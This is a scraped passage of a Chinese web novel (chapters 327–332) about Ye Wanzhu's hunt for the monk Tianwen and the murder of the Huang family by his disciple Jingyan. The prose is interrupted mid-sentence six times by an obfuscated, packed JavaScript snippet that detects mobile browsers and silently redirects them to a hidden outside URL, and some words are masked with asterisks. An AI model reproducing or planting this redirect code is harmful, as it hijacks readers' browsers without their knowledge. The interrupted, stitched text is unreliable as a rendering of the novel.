“你不是南疆人,那你是何方人士?”她垂下目光。 “碧岚。” 宁空的嘴唇一张一合,吐出两个字,又顿了顿。 “我们都是来自碧岚的人,南疆是大师选定的上岸地点罢了。” 这是什么地方? “咳咳!”倪宰相清了清嗓子。 第三百二十七章 你竟然知道? 叶晚竹循声转过头,却只给了他一个稍安勿躁的眼神。 倪相爷见状也只能默默地将要出口的话暂时咽了下去。 “所以说,天问大师也是碧岚人?”重新扭过身子,叶晚竹又朝着宁空看了过去。 宁空点头。 “你们是什么时候到南疆的?天问大师为什么要选择南疆?” “十九年前。” 宁空一张嘴,又吐出一个令人震惊的数字。 天问这老秃驴,居然从这么长时间之前,就开始布局谋划了? 叶晚竹的心又往下沉了沉。 十九年,足够他制作出多少怪物来? “第二个问题你还没回答呢!”岑灵川这时候又踢了宁空一脚。 大概是因为那番日子阴的言论,宁空看着岑灵川的眼神有些不善,又立刻挨了更重的一脚,才不情不愿地将那点情绪隐藏起来。 “南疆是大师的选择,他的决定,我们这些下人只有听从这一个选择。” 回过神,叶晚竹听着这话又冷笑了一下。 “哦?你们没偷偷议论过你们的天问大神,有夜观星象,洞悉未来的本事?” 宁空猛地倒吸了一口冷气! “你,你怎么会知道?”他脱口而出,表情又立刻变得十分难看。 叶晚竹还是冷笑,故意看着宁空惊慌的模样不说话。 天问那秃驴对自己的这个本事无疑是得意的很,叶晚竹还记得这位计划失败的那几次,频频抬头看天的模样。 不过,宁空这会儿显然是误会了,让他就这么误会下去最好。 “说吧,还有什么,老实点。”她又重重地在宁空的小腿上踹了一脚。 不知道是想到了什么,宁空垂着脑袋,肩膀不停地抖动着,就连呼吸也变得急促。 过了半晌,他再抬起头的时候,瞬间好像老了十几岁似的。 “你竟然知道了……”宁空喃喃自语着,“是你,是你……” 他双眼失神,嘴唇哆嗦,不知道是恐惧还是什么情绪,一双眼睛幽幽地看着叶晚竹,却又似乎什么也没落入眼底。 岑灵川眉头一皱,想说话,叶晚竹却朝他不动声色地摆了摆手。 这是在发什么疯? “是我,怎么了?”她挑了挑眉,语气如常,“见到我,你这么害怕?” 她话音刚落,宁空的身子更加剧烈地哆嗦起来! “果然是你……你,你……” 颤抖到最猛烈的时候,宁空忽然口吐白沫,双眼也控制不住地向上翻着。 “诶!” 岑灵川急声上前,却还是晚了一步,眼睁睁地看着宁空在他手下几寸的地方,脑袋一歪就瘫软了下去。 “……**。” 探了探他的鼻息,岑灵川眉头紧皱,一脸不解地朝着叶晚竹看来。 这人是被他师妹吓死的? “准确地说,应该是被我知道了天问大师的本事这个消息吓死的。” 看出岑灵川面上的表情,叶晚竹耸了耸肩,把话补充起来。 “这,这是为什么?” 岑灵川又有些不解起来。 “天问那老秃驴身上见不得人的东西那么多,就这么一样,能把人吓死?” 叶晚竹不轻不重地叩击着桌面,下意识地动作着,自己都没注意到。 “那秃驴自从出现,就一直想把我掳走,或许就是和这个秘密有关。” 血月那天晚上,房屋倒塌之前,叶晚竹瞥见了天问大师的动作。 如果不是天亮了,他是还打算要把她带走的。 “这又是为什么?”岑灵川闻言却更不理解,皱着眉头想了半天,又忽然一拍大腿! “难道,你能让他的本事失灵?” 叶晚竹闻言一怔。 岑灵川倒是越发兴奋起来。 “从他到大梁,那一堆计划好像就没有一个成功的吧?他想扶那个孟世子登皇位,再和控制南疆王一样在背后控制他,继而控制整个大梁。现在却什么都没了,自己也逃得像条落水狗!” “说不定,就是因为你克他呢?” 叶晚竹的眼角抽了两下,却又无法否认这话。 毕竟,天问大师费尽心思地要抓她,总得有所图谋。 “既然如此,那那个天问大师为什么不杀了殿下呢?这不是更能一劳永逸的办法吗?” 倪宰相这会儿适应了屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064646|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的血气,也忍不住加入了讨论。 “那谁知道?” 岑灵川跟他还是八字不合,鼻子不是鼻子,眼睛不是眼睛地哼哼着。 “想知道得更清楚,那就得去抓天问秃驴了,倪大人这么求贤若渴,不如身先士卒吧!” 一句话听得倪宰相的两边眼睛都在抽动! 这些词语,不是这么用的! “师兄。” 叶晚竹憋着笑按住岑灵川的胳膊,又朝他投去几个眼神,这才看向倪宰相。 “大人是不是对这个叫碧岚的地方有所了解?还请说上一说吧。” 她师兄是个粗人,还是莫要让这两位较劲的好。 倪宰相的注意力顿时又被吸引了过去。 “正是!不瞒殿下,关于碧岚,臣的确了解过一些情况。” 倪宰相是昭德帝的左膀右臂,当年南疆和大梁开战之时,战局一度胶着,南疆地形复杂幽深,正面进攻一直不得法,昭德帝便想到了绕道借路的招数。 而要绕到南疆身后,位置最好的一个小国,就是碧岚。 碧岚只有南疆的三分之一那么大,跟大梁相比就更是九牛一毛,可能还不如西北的半个行省。 碧岚国内的人也不算太多,和宁空方才的话差不多,是个穷困逼仄,国徒四壁的地方。 昭德帝当初有心拨银子借道,顺便将这小国纳入大梁的疆土也未尝不可;而碧岚的君王也抱着同样的想法,双方一拍即合。 当年送往碧岚的使团还是倪宰相亲自安排的,无一不妥帖,却没想到刚离开大梁国境,整支队伍便消失得无影无踪。 再后来,西北祸乱乍起,昭德帝御驾亲征,自然是什么都顾不上了。 等到几年之后,大军凯旋回京,碧岚早已经被南疆一口吞下。 “……圣上和臣都觉得使团是丧身在南疆的进攻之中,那边又有了孟世子坐镇,此事便没再提过。”倪宰相的语气这会儿也变得低沉。 没想到,那样一个偏僻小国,竟然是天问大师的故乡! 如此说来,使团那件事,是不是就有点不对劲了? 倪宰相正在思忖着,院中脚步声响起。 “殿下?” 第三百二十八章 一路向南 叶晚竹转过头,又一个东厂侍卫小跑着过来了。 “九千岁醒了,说一切准备就绪,殿下若是要出发,还请尽早。” 叶晚竹眨了眨眼。 她原本就是要去南疆的,可见了宁安,要去的地方无疑又多了一个。 再说……谢无咎知不知道碧岚的事情? “先带我过去看看谢都督,我还有几句话要跟他说。” 很快拿定了主意,叶晚竹朝着那东厂的侍卫点了点头,大步朝着谢无咎的房间而去。 谢无咎正懒洋洋地靠在床上,长发披散,面色虚白,听见动静,不紧不慢地掀开眼皮往屋外看。 “殿下这么快就准备好了?” 见是叶晚竹,他放下手里的书,轻轻地笑了一声。 岑灵川跟在叶晚竹身后进了屋子,第一眼便朝着谢无咎面上看去,见他虽然虚弱,气色倒是比吐血的时候好了几分,这才不动声色地吐出一口长气。 这个时候,叶晚竹已经开始将宁安的供述一五一十地讲给谢无咎听。 侍卫已经退下,屋中十分安静,谢无咎单手撑着脑袋,神情淡然,直到听见碧岚这个地方,脸色才微妙地变了变。 “你也不知道?”见状,叶晚竹暂时停下了话头。 “确实不知。” 摸了摸下巴,谢无咎若有所思。 “说起来,我第一次被带到天问大师面前的时候,他还有头发,看穿着打扮,倒的确是和南疆人有些不同。” “还有头发?” 岑灵川本打算坚决不开口,听到这儿到底是忍不住了。 “合着这秃驴是半路出家的?” 难怪身上没有半点佛门清净! “他究竟出家与否,恐怕还不好说。” 谢无咎循着声音找到岑灵川,又朝他笑了一下。 “我被抓之后,一直关在他的地盘上,不知道对外还有施粥这回事,不过想来,一个富贵人家的少爷,和一个佛家中人,显然是后者更容易得到信任。” 也就是说,天问大师的这个身份,不过只是一层伪装。 “他到底是什么人?” 又多出一个问题,岑灵川的表情十分阴郁。 这烦人的秃子! “等到了南疆,或许我们就知道了。” 叶晚竹其实并不算在意天问大师的**,只要不波及到他们身上,他是谁都无所谓。 因为他一定要死。 “谢都督。” 想着,叶晚竹的目光又朝着谢无咎而去。 “我们的行程除了南疆,大概还要加上原先的碧岚,不知道又会多出多少日子。” “殿下放心,我坚持得住。” 知道叶晚竹在问什么,谢无咎微微勾起了嘴角。 “她们也是。” 闻言,叶晚竹不由得松了口气。 她要奔赴南疆,后方最放心不下的便是小花一行人。 既然谢无咎这么说,那便是没事了。 “我这就去准备,咱们尽快出发!” —— 南疆,万源城中。 已经十月过半,这座南地的小城终于感到了一丝秋日的氛围。 几个月前,被一场巨大的**席卷,整个万源城里里外外,都被**和火焰烧成了一片断壁残垣。 幸存的百姓们和幸存的半座城池一起修修补补了整个漫长的夏天,再加上从王城那边派来的人手,总算是勉强让万源恢复到了有人可居的情形。 城中**无数,有嫌晦气举家搬迁的,也有像黄家一样,趁着人员进进出出,悄无声息在这座半新不旧的城里定居下来的。 已经夜半,早就打烊歇业的安乐茶楼里,现在的黄老板,曾经的黄县令独自一人坐在后院的书房中,正眯着眼睛打开一封密信。 当初在闵镇外的矿山,他被叶晚竹安排着离开,后者没有食言,派人将他的妻女平安送到身边,又问了他一句话。 “你是要自己躲起来避祸,还是要我们主子帮一把手?” 黄县令看着惊魂未定的妻女,没怎么犹豫就选了第二条路。 接受叶晚竹的帮助自然是有代价的,他被带到还是一片废墟的万源城中,和一个叫邵威的胖子见了面,又在他的安排下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064647|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,神不知鬼不觉地换了身份,在城中白日开茶楼,晚上当暗哨。 ……和他从前干的事情,倒也差不多。 叶晚竹要的消息不多,黄老板这里的任务向来不怎么繁重,可今天,打开密信,看着上面那几行简短的话,他却猛地瞪大双眼,又忍不住揉了揉眼睛。 这封信,是从闵镇来的。 那座被叶晚竹炸得七零八落的矿山,经过那次劫难后也再瞒不住,很快被闵镇正式记录,又纳入了真正的朝廷管辖之中。 可眼下,几个月过去,毫无征兆地,那座矿山忽然被夷为平地! 事发时山中正有人在开采,这一遭,死伤惨重! 捏着密信的手不由得哆嗦起来,黄老板猛地一拍桌子站起身,又在原地惊惶了片刻,这才跌跌撞撞地朝着墙边的书架而去。 书架上有一个暗格,里面放着的正是从各地传来的密信。 黄老板哆哩哆嗦地将所有密信都拿了出来,也顾不上折回桌边,就这么蹲在地上,一封一封地找了起来。 就他看到的这些消息来看……好像有什么地方不太对劲。 黄老板花了一炷香多的时间才找到自己想要的东西,他捏着几张新旧不一的信纸回到桌边,由上而下地摆开。 六月廿三,京畿遇袭。 七月初八,泽州遇袭。 七月十九,中州遇袭。 八月初一,闵镇矿山遇袭。 这条线路也由上而下,一路朝着南疆方向,直直而来。 而且,所有遇袭之地,事先都没有发现任何异样,突然就遭遇不测,要么是大火,要么是**,手法极其狠绝。 把这几封密信放在一起,几乎一模一样的手法,让黄老板背上的冷汗猛地就冒了出来。 这很不对劲。 好像是有人在故意对这些地方下手。 是什么人,又为了什么? 眉头紧皱,黄老板重新铺开一张信纸,提笔在上面写了起来。 他得尽快把这个不同寻常的消息传出去—— “笃笃”的敲门声传了进来。 “谁?” 第三百二十九章 姐夫,你放心地去吧 “姐夫……嗝,是,是我……” 熟悉的声音带着朦胧的醉意传来,黄良才先是松了口气,随即表情又变得没那么好看了。 “等会儿!” 没好气地朝着外面道了一声,他动作利索地将散落屋中的密信全都收起来锁在暗格里,这才一脸不悦地将书房门一把拉开。 “姐夫……嘿嘿嘿,我回来了……” 小舅子宁鸿升脸色通红,身上酒气熏天,顺着房门打开的幅度,烂泥一样滑进了屋中。 “姐夫,这么晚了,你怎么,怎么还没睡觉?嘿嘿嘿……”他醉醺醺地咧着嘴傻笑,“是不是我姐生你气,把你赶出来了?” “你以为全天下人都跟你一样无聊?” 先后退半步,免得被这醉鬼身上的酒气沾上,等宁鸿升倒在地上,黄良才才一脸嫌弃地用脚尖把他往屋外踢。 他这小舅子,浑身上下写满了八个大字。 成事不足,败事有余。 从前在闵镇的时候,到底是从小长大的地方,又领着官职,吃着皇粮,宁鸿升多少还要点脸面,做事不至于太荒唐。 来到万源后,黄良才开起茶楼,本想还让宁鸿升在店里帮忙,谁知道这位过惯了当捕头时候吆五喝六,狐假虎威的日子,让他伺候人比登天还难。 他三天两头和客人吵架动手,眼看还没站稳脚跟就要先**,黄良才只好让他找个凉快地方歇着。 宁鸿升也乐得自在,整天游手好闲,和一帮懒汉不是喝酒就是打牌,如今越发过分,连家都不爱回了。 宁夫人经过先前那一遭劫难,不想多理世事,更不想管这个一看就不靠谱的弟弟,她不管,黄良才这个姐夫更不想插手,随便他怎么荒唐去。 至于他如今的这个隐秘差事……从一开始,黄良才就没打算再拉小舅子入伙。 有些跟头,他摔一次就行了。 神色如常地把小舅子踹出书房,又反手把门关上,黄良才抿了抿唇,到底显出几分头疼。 “你喝了多少?几天不着家了,打算把自己酿成酒?那可卖不出去。” 宁鸿升醉得都不知道东南西北了,也不知道是本来就要到茶楼来,还是把这儿当成了家,黄良才的话对他没有半点作用,只能换来他的又几声傻笑。 “姐夫……我头疼……”他的大嘴咧得更开了。 黄良才心道怎么不疼死你,一边无可奈何地扒开他揪着自己鞋底的手,又弯腰把宁鸿升拽起来,再吃力地放到自己肩膀上。 为了保密,茶楼入夜之后是不会有半个人的,他只能自己把这孔武有力的小舅子扶出去。 “你干脆喝死算了!” 黄良才是个读书人,身上没多少力气,摇摇晃晃地刚站直身子,浑身上下就大汗淋漓,忍不住喘着粗气大骂。 “就知道给人添堵!” “这是你欠我的。” “……你说什么?” 耳边忽然传来回应,黄良才先是愣住,等发现小舅子的声音十分冷酷,一点儿刚才的醉意也没有,他身上的汗就又冒出来了。 只不过这一回是冷汗。 这小子装醉! 黄良才下意识地想把人推开,方才还烂泥一样的胳膊忽然生出了力气,反手一勒,黄良才顿时眼冒金星,差点儿晕过去! “你要干什么?”他用力吸气,“你小子把脑子喝坏了?你——” 话还没说完,宁鸿升一脚把书房的门踹开,挟持着手里的姐夫,两个人踉踉跄跄地走了进去! “好姐夫,把东西拿出来吧?”他狞笑着道。 黄良才的心顿时凉了半截。 “什么东西?”他咬紧牙关,“你要什么?钱?你又赌输了是不是?” “真会装。” 宁鸿升的语气还是不好,胳膊又用了几分力气,勒得黄良才忍不住呛咳起来。 “你隔三差五就躲在这茶楼里捣鼓的秘密,交出来!” “你……咳咳,你在胡说八道些什么?” 剩下的半颗心也凉得差不多了,黄良才却依旧咬死,“我在对账!你这个混球每天什么事都不做,你以为开茶楼很轻松吗!放开我,你这个兔崽子!” 他这倒霉小舅子,到底想干什么? 宁鸿升是个精通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071826|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歪门邪道的,他有心想算计自己,黄良才自认挡不住,可他想要的是什么? 是钱倒还好说,要是别的…… “对账?” 宁鸿升的声音这时候又响了起来。 “姐夫今天赚了多少,让我也看看?” 果然是要钱。 黄良才的心稍微往肚子里放了放,又骂了宁鸿升两句,被他放开才伸手去拿账本。 今天的账面他还看都没看,不过宁鸿升是个草包,银子拿在手里都能数错。 “今天进账二百五十五两,你要多少?” 装模作样地翻了两下账本,估算着柜台里的现银,黄良才语气不耐,忍不住又想起一件事。 “你上次才拿走二百两,这么快就都花了?” “对啊,”宁鸿升脸上丝毫不见羞愧,“这次给我二百五十两吧。” 我看你就是个二百五! 黄良才气得手直哆嗦,“你知道我辛辛苦苦干多长时间才能赚二百两吗?” 面对他的质问,宁鸿升显得越发无赖,伸出一根手指挠了挠下巴,“不想知道。” “你——”黄良才让他这大言不惭的口吻气得一个倒仰。 “可有人给我出价,五千两黄金,买姐夫你书房里的小秘密。”宁鸿升就在这时毫无征兆地变了语气。 “姐夫,要是你,你能拒绝吗?”他又咧着嘴笑了起来,眼中只有兴奋,再看不见半点醉意。 “你!” 黄良才倒吸一口冷气,难以置信地低下头,看着从背后穿胸而过的**,刀尖上几滴血汹涌而下,将账本染成一片鲜红! “你……” 他想说话,宁鸿升却又猛地将**抽走,剧痛让黄良才眼前一黑! “别动我的东西!” 眼睁睁看着宁鸿升朝暗格走去,黄良才捂着心口,每喘一口气都更加费力。 宁鸿升再次举起**,几下将暗锁拧断,将里面的密信一把全都抓了出来! “姐夫,你就安心地去吧!”他神情狰狞。 “把东西给我。”又一个声音在书房门外响起。 第三百三十章 一家三口,自相残杀 “诶,是是!” 刚才还一脸嚣张狰狞的宁鸿升身上的气势忽然就消失得无影无踪,他狗腿地应了一声,又点头哈腰地小跑着来到门前。 “您拿着,里面还有,我再去给您取!” 这态度,比见了亲爹还亲! 奄奄一息的黄良才忍住疼痛,竭力转过身子,和门前的人对上了视线。 是个……和尚? 还是个年轻的和尚,看起来比宁鸿升的年龄还小,穿了一身长长的黑袍,把整个身子都裹在里面。 见着黄良才看来,他转过脑袋,朝着这边露出一个微笑,双眼弯起,显得煞是无害。 “黄县令,久仰。” 黄良才的心又变得惊涛骇浪起来。 这和尚的模样……长得也太好了些。 还有,他居然知道他的身份? 这个时候,宁鸿升把暗格里的密信搜刮一空,全都交到了这年轻和尚的手里。 听着这个熟悉又陌生的称呼,宁鸿升的脸沉下几分。 他这个姐夫,放着县令不做,非要跟那个土匪一样的女人做交易,以为**吗? 那女人肯定不是什么正经货色,更不是朝廷钦差! 否则的话,能让他姐夫从县令变成茶楼老板? 更别说他的捕头了,全都没了! 给人当伙计有什么意思? 不知道是不是他先前要自己跑路的事情被捅了出去,宁鸿升自觉来到南疆之后,他姐对他的态度变得无比冷淡,就连外甥女都不乐意跟他玩。 她们和姓黄的是一家三口,就他是个外人! 这地方呆着还有什么意思?不如拿钱走人。 有了五千两黄金,他想干什么不行? 年轻和尚的要求已经做到,眼看着金子就要到手,宁鸿升又露出一个狰狞的笑容,一脚踹在黄良才腰上。 “此处不留爷,自有留爷处!”他嚣张地叉着腰,“你个穷酸秀才,要不是有我们宁家,你能当上官吗?对我恩将仇报,你**活该,死得我痛快!” 从矿山逃离的那一天起,黄良才就知道这小舅子注定是靠不住的,这会儿大限将至,也没多余的力气悲伤或者愤怒,只是紧紧地盯住了宁鸿升的眼睛。 “你姐姐……” 他和宁鸿升没有血缘关系,可夫人和女儿,都是宁鸿升的亲人! 宁鸿升的眼神闪烁了一下,偏开头,没言语。 “你这个小畜生!”黄良才又急喘了几口气! “她们俩只向着你,又对我不好,我还管她们干嘛?”宁鸿升见状忽然又恼了,“要不是你在背后嚼舌根子,我姐能怨上我吗?都是你多嘴!” 黄良才想说话,说那天晚上的事情他一句也没和宁夫人提过,是宁鸿升自己心里有鬼。 可他说不出来了,最后一丝力气也消失不见,眼前彻底黑暗了下去。 望着黄良才就这么死在自己眼前,宁鸿升的眼神忽然又闪烁了几下,脚步也跟着往后退了退。 他不偏不倚地撞在了那年轻和尚的身上。 “静,静颜师傅……”宁鸿升猛地一蹦三尺高,“对不住,对不住!” 不光撞,他还踩了这位金主一脚! “无妨。” 静颜人如其名,面上无波无澜,看不出半点被冒犯到的痕迹。 宁鸿升卑躬屈膝地连连作揖,又屡屡掀起眼皮,来回在静颜和尚身上看了好几眼,确定真的找不到要生气的迹象,这才长长地松了一口气! “静颜师傅,这东西,我已经帮您找到了,您看咱们说好的报酬……”他讪笑着搓了搓手,一副心急如焚的谄媚模样。 静颜垂下目光,似乎有些好笑,“宁先生这么着急?” 宁鸿升心道,他也想不急,可他刚杀了姐夫,这件事十有**瞒不住他姐,赶在被打断手脚甚至偿命之前,他得赶紧跑—— “宁鸿升!你这个见钱眼开的王八犊子!” 宁夫人的声音从院中传来,脚步声也跟着迫近,宁鸿升打了个激灵,感觉自己全身上下的血液都冷了! “是你干的?” 盯着院子看了两眼,宁鸿升猛地扭头,“你怎么能这样?秃驴,你有点过分了吧?” 静颜和尚没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071827|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话,这个时候,宁夫人已经冲了进来! 此时满院都是血腥气,静颜不知道什么时候已经走到了门边,将屋中的惨状露了出来。 黄良才上半身靠在书桌上,大睁着死不瞑目的眼睛,隔着一段距离,和宁夫人正好对上。 宁夫人先是一窒,随后爆发出了一阵撕心裂肺的哭嚎。 “老爷!” 世事再无常,黄良才和宁夫人的感情是真的,她身上发软,正要控制不住地倒下,看见一旁贴着墙一点一点往外挪,想偷偷溜走的宁鸿升,宁夫人抹了把眼泪,忽然又生出了力气! “小畜生!”怒骂一句,宁夫人三步并作两步就扑了上来,一把拧住了亲弟弟的耳朵! “我就知道你没安好心!”她边哭边骂,“你姐夫哪里对不起你?就为了几百两银子,你要杀他,你的良心被狗吃了?” “我不是啊姐!” 宁鸿升疼得龇牙咧嘴,想说话,一旁的静颜和尚却抢先开了口。 “夫人是黄老板的家人吧,在下今晚本要找黄老板商议要事,不巧看到这凶手跟黄老板抢夺银子,又愤而痛下**,实在是……唉!” 宁鸿升被他这番变脸荒唐得连舌头都卷不起来了,张着嘴发不出半点声音。 还能这样呢? 他这是要被黑吃黑吧! 看着静颜和尚一副老神在在的模样,宁鸿升忽然想明白了,扭头去拉宁夫人的手,“姐!我被他——”骗了! “我不是你姐!”宁夫人吼得中气十足,“我没有你这样的弟弟——!” 狠话还没说完,宁夫人猛地瞪大了双眼! 一把**穿胸而过,狠狠地从她背后扎入体内! “姐!” 来不及反应这是发生了什么,宁夫人仰面朝天,在宁鸿升惊惶的吼声里倒了下去。 与此同时,一根绳子勒住了宁鸿升的脖子,毫不留情地扯着他往乱成一团的书房里去。 房门关上片刻再打开,宁鸿升静静地悬挂在房梁上,一动不动。 静颜和尚从屋里走出,对上从院外而来的两个武僧。 第三百三十一章 漏网之鱼? “那小姑娘解决了。”见静颜看来,两个武僧齐齐低头。 静颜背在身后的手不紧不慢地捻着佛珠,点了点头。 “现在放火吗?” 他半晌不出声,两个武僧都有些按捺不住,悄悄对视一眼,其中一人先开了口。 “放火?” 静颜好像听到了什么难以置信的事情,高高地挑着眉毛,“为什么要放火?” 两个武僧的表情闻言也不算太好。 “天问大师说……” 刚起了个话头,静颜仿佛什么都没听见似的,径直沿着自己的话说了下去。 “黄老板的小舅子不成器,酗酒好赌,只会和姐夫要钱,两人积怨已深,终于在今晚酿成惨祸。” “宁夫人听到消息急急赶来,却没劝住,不仅如此,还被亲弟弟以偏心的怨气同样杀害,夫妇二人皆死于宁鸿升之手,他自知犯下滔天大错,无路可逃,所以上吊自尽。” “宁夫人走得着急,没关好家门,万源城里龙蛇混杂,并不太平,强盗路过趁虚而入,唯一留在家中的女儿也被顺手杀害——” 慢悠悠地安排好一切,静颜这才重新朝着那两个武僧看了过去。 “黄家的**,和我师父有什么关系吗?” 他说得温文尔雅,声音里却满是冷意,两个武僧连忙低头称否。 “可,可是,”其中一人还是忍不住压低声音,“大师说了,事关这条线路上的一切,都要毁得一干二净,这姓黄的一家还是给叶晚竹办事的——” “就因为他们是给那个女人办事的。” 静颜再一次截断了武僧的话,语气也变得更加冷冽。 “让其他的走狗们好好看看,跟了一个无能又愚蠢的主子,就是这样的下场!” 这是要蓄意留下证据,挑衅那边了。 方才那武僧皱着眉头,还要再劝,他的同伴不着痕迹地拦了一把,又摇摇头。 静颜和尚是天问大师最亲近的徒弟,两人的关系与其说是师徒,倒不如说是父子也不为过。 天问大师此去大梁,简直是一败涂地,这是从来没有发生过的事情。 静颜心有不忿,想替师父报仇泄愤也是情有可原。 左右这命令是静颜改的,他们只是办事的手下,何必触了眼前主子的霉头。 见两个武僧都低着头不说话了,静颜胸口的那股气才顺下去几分。 “师父到哪里了?”他换了个话题。 “大师刚离开闵镇,准备走水路登陆云海泊,再直捣王都。”武僧低声禀报着。 静颜和尚听着这话,不知道什么时候攥紧的拳头又缓缓松开了。 知道师父不会亲自过来,他提着的心便也放下不少。 “那叶晚竹呢?”静颜又想起了另外一个人,“她的队伍走到哪里了?” 血月之夜过去没几天的功夫,一行车队便从大梁京城附近出发,一路南下,这消息瞒不过他们的眼睛。 这回,两个武僧却对视一眼,齐齐摇了摇头。 “跟丢了?”静颜又冷哼一声,“废物!” “是大师下令,命所有人不许跟着叶晚竹的车队。”武僧连忙小心翼翼地替自己分分辩。 静颜和尚的面上这下便出现了愕然的神色,“这是为什么?” 一句话脱口而出,他也紧跟着回过神来。 师父要做的事情,从来不会跟任何人解释,他跟在师父身边的时候,能得一句提点,已经是无上的殊荣了。 “好了,我知道了。” 敛起心神,静颜面上也重新变得平静如水。 “既然如此,那咱们也准备离开吧——谁?” 院外传来一点踩碎枯枝的动静,静颜话头一顿,猛地大喝一声! 慌乱的脚步声随之响起,两个武僧同时转头,飞也似地跃上半空,无声无息地朝着那声音传来的方向冲了过去! 静颜神情不虞,盯着那边看了片刻,也身形纵越,快速追上。 等三人完全消失在夜空中,一个黑影才小心翼翼地从后墙翻了进来。 林婉君脸色惨白,呼吸急促,尽力压抑着心里的惊涛骇浪,快步朝着书房走了过去,努 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071828|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力不发出一点声音。 当初,叶晚竹带着人走得急,她和吴泽对京城也不熟悉,跟上去是添乱,索性便留在了南疆,帮着邵威做事。 叶晚竹要在南疆留下自己的据点,林婉君和吴泽正好能帮一把手,二人与黄良才相识,摒弃前嫌,倒也能开展工作。 今晚,林婉君原本听到了些消息,想回茶楼报告,却不想阴差阳错,竟然听见了宁鸿升**的一系列动静。 心知大事不好,她找到吴泽,两人演了这么一场调虎离山之计。 黄良才**,安乐茶楼的据点也被发现,林婉君必须把这个消息送到邵威手里。 虽然黄良才是安乐茶楼的总管,但他有前科,邵威私下里将茶楼的送信通道告诉了林婉君。 此外,还有最重要的一件事。 黄良才身上有能联系叶晚竹的东西,刚才那三个和尚没有发现,她得赶快拿到手。 偏头不去看屋里屋外三人凄惨的死状,林婉君蹑手蹑脚地走到黄良才身边,探手在他怀中一番摸索,终于找到了一个其貌不扬的小瓶子。 “就是要找这个?真是煞费苦心。” 冷冰冰又带着嘲笑意味的声音传来,林婉君一怔,浑身上下都变得一片冰凉! 静颜和尚不知道什么时候打了个无声无息的回马枪,这会儿好整以暇地站在门前,将林婉君的路堵得严严实实的。 “原来还有漏网之鱼。” 打量着林婉君,还有被她死死捏在手里的瓶子,静颜又露出一个浅淡的微笑。 只是这笑容看在林婉君眼中,俨然如同恶鬼一般。 “这是什么东西?” 静颜用下巴朝着那小瓶子点了点。 “别过来,否则,我就打开!” 深吸一口气,林婉君忽然把瓶子举高,眼中满是威胁。 “大不了,咱们一起死!” 看着她视死如归的模样,静颜沉默片刻,而后毫无畏惧地大步走进屋中。 “行啊,那你打开,让我看看吧。”他语气带笑,还伸手朝着那瓶子而去—— 第三百三十二章 男人的嘴,骗人的鬼 若是真有什么武器,刚才黄良才濒死的时候也该拿出来用了,怎么会硬生生地留到现在? 静颜和尚嘴角凝着冷酷的微笑,身材瘦弱的林婉君在他眼中,像是个小鸡仔一般。 可等他伸出手,马上就要将那小瓶子拿到的时候,砰地一声,一团白烟毫无征兆地在他眼前炸开! 心知不好,静颜和尚连忙闭气,顺势后退两步,抬起的胳膊也跟着变了个方向。 林婉君抓住这个机会,拔腿就跑! 从闵镇离开也有一段时日了,她要给叶晚竹办事,总不能一点儿自保的办法都没有! 不仅身上带着**,林婉君在万源城落脚之后,还找了个师傅习武,如今也算小有所成。 她快跑两步,脚下猛地一个用力,蹬着墙面就要翻出安乐茶楼,就在这时,脚腕却从后面被一把攥住! 天旋地转,根本来不及反应,林婉君被重重地拽了下去,摔在地上,顿时眼冒金星。 